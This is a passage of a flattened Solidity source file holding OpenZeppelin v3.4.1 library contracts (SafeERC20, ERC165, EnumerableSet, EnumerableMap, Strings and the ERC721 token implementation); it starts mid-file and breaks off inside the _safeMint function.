'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add( value ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } // File @openzeppelin/contracts/utils/Context.sol@v3.4.1 pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/introspection/IERC165.sol@v3.4.1 pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/token/ERC721/IERC721.sol@v3.4.1 pragma solidity >=0.6.2 <0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol@v3.4.1 pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol@v3.4.1 pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol@v3.4.1 pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File @openzeppelin/contracts/introspection/ERC165.sol@v3.4.1 pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor() internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File @openzeppelin/contracts/utils/EnumerableSet.sol@v3.4.1 pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require( set._values.length > index, "EnumerableSet: index out of bounds" ); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File @openzeppelin/contracts/utils/EnumerableMap.sol@v3.4.1 pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping(bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set( Map storage map, bytes32 key, bytes32 value ) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({_key: key, _value: value})); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require( map._entries.length > index, "EnumerableMap: index out of bounds" ); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get( Map storage map, bytes32 key, string memory errorMessage ) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set( UintToAddressMap storage map, uint256 key, address value ) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get( UintToAddressMap storage map, uint256 key, string memory errorMessage ) internal view returns (address) { return address( uint160(uint256(_get(map._inner, bytes32(key), errorMessage))) ); } } // File @openzeppelin/contracts/utils/Strings.sol@v3.4.1 pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + (temp % 10))); temp /= 10; } return string(buffer); } } // File @openzeppelin/contracts/token/ERC721/ERC721.sol@v3.4.1 pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping(address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require( owner != address(0), "ERC721: balance query for the zero address" ); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get( tokenId, "ERC721: owner query for nonexistent token" ); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); 